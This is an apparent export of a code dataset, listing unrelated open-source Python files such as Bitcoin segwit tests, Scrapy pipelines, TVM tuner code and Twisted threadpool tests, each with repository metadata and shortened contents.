qa/rpc-tests/p2p-segwit.py
prapun77/ATC
d69c3612448c15540f1ba17832bb47b1c5ea996b
[ "MIT" ]
null
null
null
qa/rpc-tests/p2p-segwit.py
prapun77/ATC
d69c3612448c15540f1ba17832bb47b1c5ea996b
[ "MIT" ]
null
null
null
qa/rpc-tests/p2p-segwit.py
prapun77/ATC
d69c3612448c15540f1ba17832bb47b1c5ea996b
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # Copyright (c) 2016 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. from test_framework.mininode import * from test_framework.test_framework import BitcoinTestFramework from test...
45.635564
143
0.657949
from test_framework.mininode import * from test_framework.test_framework import BitcoinTestFramework from test_framework.util import * from test_framework.script import * from test_framework.blocktools import create_block, create_coinbase, add_witness_commitment, WITNESS_COMMITMENT_HEADER from test_framework.key impor...
true
true
f7775c73acdf2c0cd2dcdcbe2d573ab92508e99e
1,783
py
Python
src/visitpy/visit_flow/flow/examples/flow_pyocl_compile_example_1.py
brugger1/visit
ed867b92bc54ed01d3c66ed354b231e30f0b3d0e
[ "BSD-3-Clause" ]
null
null
null
src/visitpy/visit_flow/flow/examples/flow_pyocl_compile_example_1.py
brugger1/visit
ed867b92bc54ed01d3c66ed354b231e30f0b3d0e
[ "BSD-3-Clause" ]
null
null
null
src/visitpy/visit_flow/flow/examples/flow_pyocl_compile_example_1.py
brugger1/visit
ed867b92bc54ed01d3c66ed354b231e30f0b3d0e
[ "BSD-3-Clause" ]
1
2020-03-18T23:17:43.000Z
2020-03-18T23:17:43.000Z
# Copyright (c) Lawrence Livermore National Security, LLC and other VisIt # Project developers. See the top-level LICENSE file for dates and other # details. No copyright assignment is required to contribute to VisIt. """ file: flow_pyocl_compile_example_1.py author: Cyrus Harrison <cyrush@llnl.gov> created: 3/25...
28.301587
73
0.648906
""" file: flow_pyocl_compile_example_1.py author: Cyrus Harrison <cyrush@llnl.gov> created: 3/25/2012 description: flow example demonstrating use of flow.filters.pyocl_compile. """ import numpy as npy from flow import * from flow.filters import * def main(): w = Workspace() w.register_filters(pyocl...
false
true
f7775d44b201a835dcb492cdc830b66c40603c60
543
py
Python
tests/test_utils.py
semigodking/redbeat
c1eea0eaff013f94d05eb4f73411d619359f99a7
[ "Apache-2.0" ]
null
null
null
tests/test_utils.py
semigodking/redbeat
c1eea0eaff013f94d05eb4f73411d619359f99a7
[ "Apache-2.0" ]
null
null
null
tests/test_utils.py
semigodking/redbeat
c1eea0eaff013f94d05eb4f73411d619359f99a7
[ "Apache-2.0" ]
1
2019-03-05T09:28:25.000Z
2019-03-05T09:28:25.000Z
from celery.utils.time import maybe_make_aware from redbeat.decoder import to_timestamp, from_timestamp from tests.basecase import RedBeatCase class Test_utils(RedBeatCase): def test_roundtrip(self): now = self.app.now() # 3.x returns naive, but 4.x returns aware now = maybe_make_aware(no...
28.578947
74
0.710866
from celery.utils.time import maybe_make_aware from redbeat.decoder import to_timestamp, from_timestamp from tests.basecase import RedBeatCase class Test_utils(RedBeatCase): def test_roundtrip(self): now = self.app.now() now = maybe_make_aware(now) roundtripped = from_timestamp(t...
true
true
f7775dac6d1b85ed58bdbaaf3b156f8490d27abf
139
py
Python
test/simple_source/def/11_classbug.py
gauravssnl/python-uncompyle6
136f42a610c0701e0770c1c278efd1107b1c6ed1
[ "MIT" ]
1
2021-03-24T11:54:03.000Z
2021-03-24T11:54:03.000Z
test/simple_source/def/11_classbug.py
gauravssnl/python-uncompyle6
136f42a610c0701e0770c1c278efd1107b1c6ed1
[ "MIT" ]
null
null
null
test/simple_source/def/11_classbug.py
gauravssnl/python-uncompyle6
136f42a610c0701e0770c1c278efd1107b1c6ed1
[ "MIT" ]
null
null
null
class _TemplateMetaclass(type): def __init__(cls, name, bases, dct): super(_TemplateMetaclass, cls).__init__(name, bases, dct)
34.75
65
0.71223
class _TemplateMetaclass(type): def __init__(cls, name, bases, dct): super(_TemplateMetaclass, cls).__init__(name, bases, dct)
true
true
f7775dc29492e792a549cc17b33bd517a0da5244
35,076
py
Python
pachyderm/binned_data.py
raymondEhlers/pachyderm
c9a554d8c4e904315171a5aafa4569259e280fa4
[ "BSD-3-Clause" ]
1
2020-12-29T20:00:03.000Z
2020-12-29T20:00:03.000Z
pachyderm/binned_data.py
raymondEhlers/pachyderm
c9a554d8c4e904315171a5aafa4569259e280fa4
[ "BSD-3-Clause" ]
6
2018-12-09T21:20:33.000Z
2022-01-31T14:13:19.000Z
pachyderm/binned_data.py
raymondEhlers/pachyderm
c9a554d8c4e904315171a5aafa4569259e280fa4
[ "BSD-3-Clause" ]
2
2019-03-27T18:09:19.000Z
2019-08-23T19:21:33.000Z
#!/usr/bin/env python3 """ Functionality related to binned data. .. codeauthor:: Ramyond Ehlers <raymond.ehlers@cern.ch>, ORNL """ import collections import itertools import logging import operator import uuid from functools import reduce from typing import TYPE_CHECKING, Any, Dict, List, Mapping, Sequence, Tuple, T...
40.786047
135
0.613126
import collections import itertools import logging import operator import uuid from functools import reduce from typing import TYPE_CHECKING, Any, Dict, List, Mapping, Sequence, Tuple, Type, Union, cast import attr import numpy as np import numpy.typing as npt import ruamel.yaml logger = logging.getLogger(__name__...
true
true
f7775e283d3960d8552b5a9ef80866b85924cc1e
425
py
Python
pyleecan/__init__.py
stephane-eisen/pyleecan
8444b8131c9eff11a616da8277fb1f280c8f70e5
[ "Apache-2.0" ]
1
2021-07-08T01:27:24.000Z
2021-07-08T01:27:24.000Z
pyleecan/__init__.py
ecs-kev/pyleecan
1faedde4b24acc6361fa1fdd4e980eaec4ca3a62
[ "Apache-2.0" ]
null
null
null
pyleecan/__init__.py
ecs-kev/pyleecan
1faedde4b24acc6361fa1fdd4e980eaec4ca3a62
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- from .loggers import init_default_log import os import platform PACKAGE_NAME = "pyleecan" # User folder (to store machine/materials/config) if platform.system() == "Windows": USER_DIR = os.path.join(os.environ["APPDATA"], PACKAGE_NAME) USER_DIR = USER_DIR.replace("\\", "/") else: US...
25
67
0.689412
from .loggers import init_default_log import os import platform PACKAGE_NAME = "pyleecan" if platform.system() == "Windows": USER_DIR = os.path.join(os.environ["APPDATA"], PACKAGE_NAME) USER_DIR = USER_DIR.replace("\\", "/") else: USER_DIR = os.environ["HOME"] + "/.local/share/" + PACKAGE_NAME __version__...
true
true
f7775e57ca207bc571450225e626262bbf997c44
250
py
Python
project/auth_app/forms.py
avidyakov/vidnet
5d325578780e792e9c60f1b00863c9419d9114ad
[ "MIT" ]
null
null
null
project/auth_app/forms.py
avidyakov/vidnet
5d325578780e792e9c60f1b00863c9419d9114ad
[ "MIT" ]
null
null
null
project/auth_app/forms.py
avidyakov/vidnet
5d325578780e792e9c60f1b00863c9419d9114ad
[ "MIT" ]
null
null
null
from django.contrib.auth.forms import UserCreationForm from user_app.models import User class UserRegForm(UserCreationForm): class Meta: model = User fields = ('email', 'first_name', 'last_name', 'age', 'sex', 'tags', 'city')
22.727273
83
0.68
from django.contrib.auth.forms import UserCreationForm from user_app.models import User class UserRegForm(UserCreationForm): class Meta: model = User fields = ('email', 'first_name', 'last_name', 'age', 'sex', 'tags', 'city')
true
true
f7775f531c11c299f867b09ea3fa0d983292719d
842
py
Python
scrapy/pipelines/__init__.py
bf96163/scrapy
a67c3188f7356809291643a3b86d8619620d6a86
[ "BSD-3-Clause" ]
null
null
null
scrapy/pipelines/__init__.py
bf96163/scrapy
a67c3188f7356809291643a3b86d8619620d6a86
[ "BSD-3-Clause" ]
null
null
null
scrapy/pipelines/__init__.py
bf96163/scrapy
a67c3188f7356809291643a3b86d8619620d6a86
[ "BSD-3-Clause" ]
null
null
null
""" Item pipeline See documentation in docs/item-pipeline.rst """ from scrapy.middleware import MiddlewareManager from scrapy.utils.conf import build_component_list from scrapy.utils.defer import deferred_f_from_coro_f class ItemPipelineManager(MiddlewareManager): component_name = 'item pipeline' @classme...
31.185185
113
0.766033
from scrapy.middleware import MiddlewareManager from scrapy.utils.conf import build_component_list from scrapy.utils.defer import deferred_f_from_coro_f class ItemPipelineManager(MiddlewareManager): component_name = 'item pipeline' @classmethod def _get_mwlist_from_settings(cls, settings): retu...
true
true
f77760450401c8034c74f52a7cf0d3be3d4c0845
844
py
Python
course4/week3-ungraded-labs/C4_W3_Lab_4_Github_Actions/app/test_clf.py
atsiatmas/machine-learning-engineering-for-production-public
42ec8262e846f7ac3b8325de6ef04db5b39691c9
[ "Apache-2.0" ]
null
null
null
course4/week3-ungraded-labs/C4_W3_Lab_4_Github_Actions/app/test_clf.py
atsiatmas/machine-learning-engineering-for-production-public
42ec8262e846f7ac3b8325de6ef04db5b39691c9
[ "Apache-2.0" ]
null
null
null
course4/week3-ungraded-labs/C4_W3_Lab_4_Github_Actions/app/test_clf.py
atsiatmas/machine-learning-engineering-for-production-public
42ec8262e846f7ac3b8325de6ef04db5b39691c9
[ "Apache-2.0" ]
null
null
null
import pickle from main import clf from sklearn.pipeline import Pipeline from sklearn.preprocessing import StandardScaler def test_accuracy(): # Load test data with open("data/test_data.pkl", "rb") as file: test_data = pickle.load(file) # Unpack the tuple X_test, y_test = test_data # Co...
25.575758
62
0.699052
import pickle from main import clf from sklearn.pipeline import Pipeline from sklearn.preprocessing import StandardScaler def test_accuracy(): with open("data/test_data.pkl", "rb") as file: test_data = pickle.load(file) X_test, y_test = test_data acc = clf.score(X_test, y_test) ...
true
true
f777606137aac9b1339a5b380a67c2ce6dacfa8d
362
py
Python
setup.py
EgorVoron/ken_perlin_noise
c9024871026a705e3549a29f8b0eb8edf1c90293
[ "MIT" ]
null
null
null
setup.py
EgorVoron/ken_perlin_noise
c9024871026a705e3549a29f8b0eb8edf1c90293
[ "MIT" ]
null
null
null
setup.py
EgorVoron/ken_perlin_noise
c9024871026a705e3549a29f8b0eb8edf1c90293
[ "MIT" ]
null
null
null
from setuptools import find_packages, setup setup( name="ken_perlin_noise", version="0.0.1", packages=find_packages(), include_package_data=True, python_requires='>=3', url="https://github.com/EgorVoron/py-perlin-noise", author="EgorVoron", license="MIT", install_requires=[ ...
21.294118
55
0.649171
from setuptools import find_packages, setup setup( name="ken_perlin_noise", version="0.0.1", packages=find_packages(), include_package_data=True, python_requires='>=3', url="https://github.com/EgorVoron/py-perlin-noise", author="EgorVoron", license="MIT", install_requires=[ ...
true
true
f7776120f1e651dd43e3aa415c03fbc33a1fd099
5,185
py
Python
networking_cisco/db/migration/alembic_migrations/versions/liberty/expand/2921fe565328_cisco_device_management.py
mail2nsrajesh/networking-cisco
e072b149d26e0a9dd9d68755c874dfc047dc9c91
[ "Apache-2.0" ]
8
2016-02-12T01:25:29.000Z
2019-01-13T14:19:25.000Z
networking_cisco/db/migration/alembic_migrations/versions/liberty/expand/2921fe565328_cisco_device_management.py
mail2nsrajesh/networking-cisco
e072b149d26e0a9dd9d68755c874dfc047dc9c91
[ "Apache-2.0" ]
25
2016-01-28T12:33:41.000Z
2016-07-28T21:18:03.000Z
networking_cisco/db/migration/alembic_migrations/versions/liberty/expand/2921fe565328_cisco_device_management.py
mail2nsrajesh/networking-cisco
e072b149d26e0a9dd9d68755c874dfc047dc9c91
[ "Apache-2.0" ]
9
2015-05-07T02:47:55.000Z
2019-10-18T15:25:27.000Z
# Copyright 2015 OpenStack Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law ...
48.457944
79
0.622951
revision = '2921fe565328' down_revision = '3c7f8bae9239' from alembic import op import sqlalchemy as sa from neutron.db import migration def upgrade(): op.create_table('cisco_hosting_device_templates', sa.Column('tenant_id', sa.String(length=255), nullable=True), sa.Column('id', sa.String(leng...
true
true
f77762ba98b4ea9ce167d092729b109a67841535
7,650
py
Python
iip_processing_app/views.py
Brown-University-Library/iip_processing_project
cf7487e0a7a2d27f40223a8119a243abd9731893
[ "MIT" ]
null
null
null
iip_processing_app/views.py
Brown-University-Library/iip_processing_project
cf7487e0a7a2d27f40223a8119a243abd9731893
[ "MIT" ]
6
2019-06-27T12:57:45.000Z
2022-03-24T20:39:07.000Z
iip_processing_app/views.py
Brown-University-Library/iip_processing_project
cf7487e0a7a2d27f40223a8119a243abd9731893
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- from __future__ import unicode_literals import datetime, json, logging, pprint from django.conf import settings from django.contrib.auth import login as django_login from django.core.urlresolvers import reverse from django.http import HttpResponse, HttpResponseForbidden, HttpResponseRedirect,...
46.084337
218
0.697647
from __future__ import unicode_literals import datetime, json, logging, pprint from django.conf import settings from django.contrib.auth import login as django_login from django.core.urlresolvers import reverse from django.http import HttpResponse, HttpResponseForbidden, HttpResponseRedirect, HttpResponseNotFound fr...
true
true
f77762ff943b3a1dae6d638bec35aeff8a5351dc
1,930
py
Python
src/models/machine_learning_api.py
vikrant-github/python-data-science
8f1d7631e302e7e751008aa16caa4d044411de43
[ "MIT" ]
null
null
null
src/models/machine_learning_api.py
vikrant-github/python-data-science
8f1d7631e302e7e751008aa16caa4d044411de43
[ "MIT" ]
null
null
null
src/models/machine_learning_api.py
vikrant-github/python-data-science
8f1d7631e302e7e751008aa16caa4d044411de43
[ "MIT" ]
null
null
null
from flask import Flask, request import pandas as pd import numpy as np import json import pickle import os app = Flask(__name__) # Load Model and Scaler Files model_path = os.path.join(os.path.pardir,os.path.pardir,'models') model_filepath = os.path.join(model_path, 'lr_model.pkl') scaler_filepath = os...
35.740741
110
0.671503
from flask import Flask, request import pandas as pd import numpy as np import json import pickle import os app = Flask(__name__) model_path = os.path.join(os.path.pardir,os.path.pardir,'models') model_filepath = os.path.join(model_path, 'lr_model.pkl') scaler_filepath = os.path.join(model_path, 'lr_scal...
true
true
f77763e801d9ed6db1d15060b9785e3202357acf
699
py
Python
helpers/evaluation.py
SamLubbers/rainforest_land_use_classification
8eb27b8cf4cacfacd53f066b05d5ea13196d1ba3
[ "MIT" ]
2
2020-08-14T08:36:34.000Z
2021-11-03T00:52:41.000Z
helpers/evaluation.py
SamLubbers/rainforest_land_use_classification
8eb27b8cf4cacfacd53f066b05d5ea13196d1ba3
[ "MIT" ]
null
null
null
helpers/evaluation.py
SamLubbers/rainforest_land_use_classification
8eb27b8cf4cacfacd53f066b05d5ea13196d1ba3
[ "MIT" ]
null
null
null
import os import sys from collections import OrderedDict import pandas as pd from .data import extract_label_values sys.path.append("../") from config import DATASETS_PATH from sklearn.metrics import fbeta_score def evaluate_performance_validation(predictions, beta=2): labels = pd.read_csv(os.path.join(DATASE...
30.391304
81
0.76824
import os import sys from collections import OrderedDict import pandas as pd from .data import extract_label_values sys.path.append("../") from config import DATASETS_PATH from sklearn.metrics import fbeta_score def evaluate_performance_validation(predictions, beta=2): labels = pd.read_csv(os.path.join(DATASE...
true
true
f777640c8c1bd782109f20ed045d4427512c33ef
7,713
py
Python
python/tvm/autotvm/tuner/tuner.py
TVM-for-armgpu/tvm
4c4392306f5b4d21e85d633231bae71e935f39a2
[ "Zlib", "Unlicense", "Apache-2.0", "BSD-2-Clause", "MIT", "ECL-2.0" ]
1
2022-03-19T12:21:33.000Z
2022-03-19T12:21:33.000Z
python/tvm/autotvm/tuner/tuner.py
TVM-for-armgpu/tvm
4c4392306f5b4d21e85d633231bae71e935f39a2
[ "Zlib", "Unlicense", "Apache-2.0", "BSD-2-Clause", "MIT", "ECL-2.0" ]
null
null
null
python/tvm/autotvm/tuner/tuner.py
TVM-for-armgpu/tvm
4c4392306f5b4d21e85d633231bae71e935f39a2
[ "Zlib", "Unlicense", "Apache-2.0", "BSD-2-Clause", "MIT", "ECL-2.0" ]
null
null
null
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
32.961538
96
0.578893
import logging import tempfile import threading import numpy as np from ..measure import MeasureInput, create_measure_batch from ..utils import format_si_prefix from ..env import GLOBAL_SCOPE logger = logging.getLogger("autotvm") class SharedLock: _instance_lock = threading.Lock() def __init__(self): ...
true
true
f7776582f99fae55c3975b0189f48d4b599e574d
1,474
py
Python
ucm_drf/api/ipte_util.py
ManianVSS/Shani
2c9e5c0f8a0f073d891a84c38131da02deff0330
[ "BSD-3-Clause" ]
null
null
null
ucm_drf/api/ipte_util.py
ManianVSS/Shani
2c9e5c0f8a0f073d891a84c38131da02deff0330
[ "BSD-3-Clause" ]
null
null
null
ucm_drf/api/ipte_util.py
ManianVSS/Shani
2c9e5c0f8a0f073d891a84c38131da02deff0330
[ "BSD-3-Clause" ]
null
null
null
from scipy.stats.distributions import chi2 # # def ipte_formula(iterations_or_ipte, number_of_incidents, confidence): # chi_square_inverse_right_tailed = chi2.ppf(confidence, df=2 * (number_of_incidents + 1)) # return chi_square_inverse_right_tailed * (1000 / (iterations_or_ipte * 2)) # def calculate_iterati...
50.827586
113
0.778155
from scipy.stats.distributions import chi2 def calculate_iterations_required(required_ipte, number_of_incidents, confidence=0.9): chi_square_inverse_right_tailed = chi2.ppf(confidence, df=2 * (number_of_incidents + 1)) return chi_square_inverse_right_tailed * (1000 / (required_ipte * 2)) def calculate_...
true
true
f77765aa4f1e975703a6e0d41c529e4e81c556e6
1,524
py
Python
api/BackendAPI/ReadOnlySpace.py
AutoCoinDCF/NEW_API
f4abc48fff907a0785372b941afcd67e62eec825
[ "Apache-2.0" ]
null
null
null
api/BackendAPI/ReadOnlySpace.py
AutoCoinDCF/NEW_API
f4abc48fff907a0785372b941afcd67e62eec825
[ "Apache-2.0" ]
null
null
null
api/BackendAPI/ReadOnlySpace.py
AutoCoinDCF/NEW_API
f4abc48fff907a0785372b941afcd67e62eec825
[ "Apache-2.0" ]
null
null
null
""" a base class whose attributes are read-only, unless use the context _context_allow_change to change attributes """ from contextlib import contextmanager class AttributeReadOnlyError(Exception): def __init__(self, obj: object, attr: str): self.obj = obj self.attr = attr def __str__(self):...
30.48
108
0.634514
from contextlib import contextmanager class AttributeReadOnlyError(Exception): def __init__(self, obj: object, attr: str): self.obj = obj self.attr = attr def __str__(self): return "'%s' attribute '%s' is read-only" % (type(self.obj).__name__, self.attr) class ReadOnlySpace(object):...
true
true
f77765beaf72b9bb27514df7dcd3cea072cb3d8c
1,052
py
Python
p03_gray.py
ethall/LED-Timeline
f8d25c112c944db7d698eb7b9b31bc2d6b9c12e0
[ "MIT" ]
1
2020-06-02T17:52:03.000Z
2020-06-02T17:52:03.000Z
p03_gray.py
ethall/LED-Timeline
f8d25c112c944db7d698eb7b9b31bc2d6b9c12e0
[ "MIT" ]
null
null
null
p03_gray.py
ethall/LED-Timeline
f8d25c112c944db7d698eb7b9b31bc2d6b9c12e0
[ "MIT" ]
null
null
null
import cv2 as _cv import numpy as _np from _util import get_frames as _get_frames, matrix_to_video as _matrix_to_video def to_grayscale(source: str, destination: str) -> None: vid = _cv.VideoCapture(source) # (t,y,x,chan) denoised_color_movie = _get_frames(vid) print("Converting to grayscale...") ...
27.684211
86
0.651141
import cv2 as _cv import numpy as _np from _util import get_frames as _get_frames, matrix_to_video as _matrix_to_video def to_grayscale(source: str, destination: str) -> None: vid = _cv.VideoCapture(source) denoised_color_movie = _get_frames(vid) print("Converting to grayscale...") gray_movi...
true
true
f77766dd71bfd49b8c59cbd5e0e73d7a3589fb51
7,256
py
Python
setup.py
nicola-decao/transformers
f6f4da8dd4cfe255002dc642a8bb27dd64ed294e
[ "Apache-2.0" ]
1
2020-11-14T06:08:38.000Z
2020-11-14T06:08:38.000Z
setup.py
nicola-decao/transformers
f6f4da8dd4cfe255002dc642a8bb27dd64ed294e
[ "Apache-2.0" ]
null
null
null
setup.py
nicola-decao/transformers
f6f4da8dd4cfe255002dc642a8bb27dd64ed294e
[ "Apache-2.0" ]
1
2020-11-16T23:12:50.000Z
2020-11-16T23:12:50.000Z
""" Simple check list from AllenNLP repo: https://github.com/allenai/allennlp/blob/master/setup.py To create the package for pypi. 1. Change the version in __init__.py, setup.py as well as docs/source/conf.py. Remove the master from the links in the new models of the README: (https://huggingface.co/transformers...
43.190476
233
0.686466
import os import shutil from pathlib import Path from setuptools import find_packages, setup stale_egg_info = Path(__file__).parent / "transformers.egg-info" if stale_egg_info.exists(): print( ( "Warning: {} exists.\n\n" "If you recently updated transformers to 3.0 or later, this...
true
true
f777670c9ee3c4bad09f0979e3de73fc8be631d5
5,939
py
Python
ltf/state_plot.py
danilobr94/dynamic-aif-framework
39710501c4d3383c595b058d963719a0e9858c0b
[ "MIT" ]
null
null
null
ltf/state_plot.py
danilobr94/dynamic-aif-framework
39710501c4d3383c595b058d963719a0e9858c0b
[ "MIT" ]
null
null
null
ltf/state_plot.py
danilobr94/dynamic-aif-framework
39710501c4d3383c595b058d963719a0e9858c0b
[ "MIT" ]
null
null
null
"""2D Scatter plot for data points of one iteration.""" import numpy as np class StatePlot: """Plot data of one time step.""" def __init__(self, x_lim=None, y_lim=None, pos_lbl=1, neg_lbl=0, pos_cls=1, neg_cls=0): """ Args: x_lim [int, int]: Min and max value for x-axis of plot. ...
39.85906
103
0.576023
import numpy as np class StatePlot: def __init__(self, x_lim=None, y_lim=None, pos_lbl=1, neg_lbl=0, pos_cls=1, neg_cls=0): self._pos_label = pos_lbl self._neg_label = neg_lbl self._pos_class = pos_cls self._neg_class = neg_cls self._x_lim = x_lim self._y_lim = ...
true
true
f777670ff6268c7d4e3f825655c6b99bb8725704
3,133
py
Python
venv/lib/python2.7/site-packages/nltk/corpus/reader/indian.py
sravani-m/Web-Application-Security-Framework
d9f71538f5cba6fe1d8eabcb26c557565472f6a6
[ "MIT" ]
3
2019-04-09T22:59:33.000Z
2019-06-14T09:23:24.000Z
nltk/corpus/reader/indian.py
guker/nltk
085399ea9d53318ae6e8568909fa55f0d905ad5a
[ "Apache-2.0" ]
null
null
null
nltk/corpus/reader/indian.py
guker/nltk
085399ea9d53318ae6e8568909fa55f0d905ad5a
[ "Apache-2.0" ]
null
null
null
# Natural Language Toolkit: Indian Language POS-Tagged Corpus Reader # # Copyright (C) 2001-2014 NLTK Project # Author: Steven Bird <stevenbird1@gmail.com> # Edward Loper <edloper@gmail.com> # URL: <http://nltk.org/> # For license information, see LICENSE.TXT """ Indian Language POS-Tagged Corpus Collected by ...
36.011494
77
0.621449
from nltk import compat from nltk.tag import str2tuple, map_tag from nltk.corpus.reader.util import * from nltk.corpus.reader.api import * class IndianCorpusReader(CorpusReader): def words(self, fileids=None): return concat([IndianCorpusView(fileid, enc, False, Fa...
true
true
f777672158012b5f0fa4ba7b8a2d0d57f384f136
25,545
py
Python
sdk/keyvault/azure-keyvault-secrets/azure/keyvault/secrets/_generated/v7_1/models/_models_py3.py
vincenttran-msft/azure-sdk-for-python
348b56f9f03eeb3f7b502eed51daf494ffff874d
[ "MIT" ]
1
2022-02-01T18:50:12.000Z
2022-02-01T18:50:12.000Z
sdk/keyvault/azure-keyvault-secrets/azure/keyvault/secrets/_generated/v7_1/models/_models_py3.py
vincenttran-msft/azure-sdk-for-python
348b56f9f03eeb3f7b502eed51daf494ffff874d
[ "MIT" ]
null
null
null
sdk/keyvault/azure-keyvault-secrets/azure/keyvault/secrets/_generated/v7_1/models/_models_py3.py
vincenttran-msft/azure-sdk-for-python
348b56f9f03eeb3f7b502eed51daf494ffff874d
[ "MIT" ]
null
null
null
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
35.627615
140
0.627442
import datetime from typing import Dict, Optional from azure.core.exceptions import HttpResponseError import msrest.serialization class Attributes(msrest.serialization.Model): _validation = { 'created': {'readonly': True}, 'updated': {'readonly': True}, } _attribute_map = { 'en...
true
true
f77767b3b2c17938e48ba4e4b12c8a5de51e8bdb
2,641
py
Python
motor_controller/src/refactored/test/test_PIDController.py
maf2418/Perceptbot
21947a89703547f4c5d948a0f20ca2edf418954e
[ "MIT" ]
2
2019-08-12T18:55:23.000Z
2019-11-07T22:56:06.000Z
motor_controller/src/refactored/test/test_PIDController.py
maf2418/Perceptbot
21947a89703547f4c5d948a0f20ca2edf418954e
[ "MIT" ]
null
null
null
motor_controller/src/refactored/test/test_PIDController.py
maf2418/Perceptbot
21947a89703547f4c5d948a0f20ca2edf418954e
[ "MIT" ]
null
null
null
#!/usr/bin/env python import os import sys import unittest sys.path.insert(0, os.getcwd() + '/src') from pidcontroller2 import PIDController from wheelencoder2 import Encoder from mock import MagicMock, patch from utilities import * class TestPIDController(unittest.TestCase): def setUp(self): self....
38.838235
106
0.726619
import os import sys import unittest sys.path.insert(0, os.getcwd() + '/src') from pidcontroller2 import PIDController from wheelencoder2 import Encoder from mock import MagicMock, patch from utilities import * class TestPIDController(unittest.TestCase): def setUp(self): self.testPIDController = PI...
true
true
f77767cf3bb9aadc5d4e7a21ff8b12b0b9c5b7d9
899
py
Python
test/conftest.py
srgrn/pystatuspage
220eb6e36cf55b6e9a0ca4464b3afe617a706b5d
[ "BSD-2-Clause" ]
null
null
null
test/conftest.py
srgrn/pystatuspage
220eb6e36cf55b6e9a0ca4464b3afe617a706b5d
[ "BSD-2-Clause" ]
null
null
null
test/conftest.py
srgrn/pystatuspage
220eb6e36cf55b6e9a0ca4464b3afe617a706b5d
[ "BSD-2-Clause" ]
null
null
null
import pytest import pystatuspage import os SECRETS_FILE = 'secrets.json' @pytest.fixture(scope="module") def secrets(): if os.path.exists(SECRETS_FILE): import json with open(SECRETS_FILE) as json_file: secrets = json.load(json_file) else: secrets = {} secrets['o...
25.685714
84
0.703003
import pytest import pystatuspage import os SECRETS_FILE = 'secrets.json' @pytest.fixture(scope="module") def secrets(): if os.path.exists(SECRETS_FILE): import json with open(SECRETS_FILE) as json_file: secrets = json.load(json_file) else: secrets = {} secrets['o...
true
true
f77768678f9f7aed9c0df040ec6ca59c0ddca171
4,970
py
Python
libs/configs/DOTA1.0/dcl/cfgs_res101_dota_dcl_v1.py
Thinklab-SJTU/DCL_RetinaNet_Tensorflow
1d14c9800c3eb1975e8832978f7a263783d171ec
[ "Apache-2.0" ]
36
2020-11-19T07:23:42.000Z
2022-03-30T03:35:57.000Z
libs/configs/DOTA1.0/dcl/cfgs_res101_dota_dcl_v1.py
Thinklab-SJTU/DCL_RetinaNet_Tensorflow
1d14c9800c3eb1975e8832978f7a263783d171ec
[ "Apache-2.0" ]
4
2021-01-30T09:49:10.000Z
2021-12-05T12:49:11.000Z
libs/configs/DOTA1.0/dcl/cfgs_res101_dota_dcl_v1.py
Thinklab-SJTU/DCL_RetinaNet_Tensorflow
1d14c9800c3eb1975e8832978f7a263783d171ec
[ "Apache-2.0" ]
6
2020-11-23T07:54:47.000Z
2021-07-09T07:20:15.000Z
# -*- coding: utf-8 -*- from __future__ import division, print_function, absolute_import import os import tensorflow as tf import math """ BCL + OMEGA = 180 / 32. + data aug + ms FLOPs: 1321979063; Trainable params: 52136440 This is your result for task 1: mAP: 0.7197849386403127 ap of each class: pla...
29.760479
105
0.688732
from __future__ import division, print_function, absolute_import import os import tensorflow as tf import math VERSION = 'RetinaNet_DOTA_DCL_B_3x_20200923' NET_NAME = 'resnet101_v1d' ADD_BOX_IN_TENSORBOARD = True ROOT_PATH = os.path.abspath('../') print(20*"++--") print(ROOT_PATH) GPU_GROUP = "0,1,2" NUM_GPU = len(...
true
true
f777686c561ed67b2147cfc0c81bfc3b96b92cf8
17,552
py
Python
python-modules/twisted/twisted/test/test_threadpool.py
stormtheh4ck3r/python-for-android
b9ea9161392f60566b81482b1e25cd77004d5c45
[ "Apache-2.0" ]
267
2015-03-22T15:23:48.000Z
2022-03-05T21:57:34.000Z
python-modules/twisted/twisted/test/test_threadpool.py
stormtheh4ck3r/python-for-android
b9ea9161392f60566b81482b1e25cd77004d5c45
[ "Apache-2.0" ]
133
2015-03-21T15:13:43.000Z
2021-12-11T23:37:58.000Z
python-modules/twisted/twisted/test/test_threadpool.py
stormtheh4ck3r/python-for-android
b9ea9161392f60566b81482b1e25cd77004d5c45
[ "Apache-2.0" ]
119
2015-04-28T16:07:10.000Z
2022-03-18T03:49:48.000Z
# Copyright (c) 2001-2010 Twisted Matrix Laboratories. # See LICENSE for details. """ Tests for L{twisted.python.threadpool} """ import pickle, time, weakref, gc, threading from twisted.trial import unittest, util from twisted.python import threadpool, threadable, failure, context from twisted.internet import reacto...
29.253333
79
0.593323
import pickle, time, weakref, gc, threading from twisted.trial import unittest, util from twisted.python import threadpool, threadable, failure, context from twisted.internet import reactor from twisted.internet.defer import Deferred class Synchronization(object): failures = 0 def __init__(self, N, waitin...
true
true
f77768c7c2b1b98571ea7bfae2054994e43dea28
94
py
Python
tests/test_reading_stats.py
mvwicky/reading-stats
bbcb2e261cdb83b5a9c19dbe5a4c1c26b957b42d
[ "MIT" ]
null
null
null
tests/test_reading_stats.py
mvwicky/reading-stats
bbcb2e261cdb83b5a9c19dbe5a4c1c26b957b42d
[ "MIT" ]
null
null
null
tests/test_reading_stats.py
mvwicky/reading-stats
bbcb2e261cdb83b5a9c19dbe5a4c1c26b957b42d
[ "MIT" ]
null
null
null
from reading_stats import __version__ def test_version(): assert __version__ == '0.1.0'
15.666667
37
0.734043
from reading_stats import __version__ def test_version(): assert __version__ == '0.1.0'
true
true
f7776a616db7267936d6ca0c28c2ef1806989b64
9,187
py
Python
src/window.py
Lugsole/net.lugsole.bible_gui
3825d51e2733c533fee641159a5179683ee32e7b
[ "MIT" ]
9
2020-09-14T00:21:43.000Z
2021-05-09T00:42:13.000Z
src/window.py
Lugsole/net.lugsole.bible_gui
